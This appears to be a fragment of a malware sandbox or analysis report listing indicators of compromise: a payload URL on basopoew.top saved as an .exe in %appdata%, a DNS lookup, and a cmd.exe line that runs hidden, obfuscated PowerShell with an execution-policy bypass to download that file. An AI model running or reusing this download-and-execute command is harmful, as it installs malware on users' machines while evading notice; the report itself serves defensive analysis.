Technical Information
- http://www.basopoew.top/read.php?f=1.gif as %appdata%.exe
- '<SYSTEM32>\cmd.exe' /c "POwERsheLl.EXe -EXeCutiOnPolICy bypASS -NoPROFILe -wIndOwSTyLe hiDdEn (NEw-OBJECT SysTEM.nET.WeBClieNT).downloADfile('http://www.basopoew.top/read.php?f=1.gif','%appDATa%....
- DNS ASK ba###oew.top
- '<SYSTEM32>\cmd.exe' /c "POwERsheLl.EXe -EXeCutiOnPolICy bypASS -NoPROFILe -wIndOwSTyLe hiDdEn (NEw-OBJECT SysTEM.nET.WeBClieNT).downloADfile('http://www.basopoew.top/read.php?f=1.gif','%appDATa%....' (with hidden window)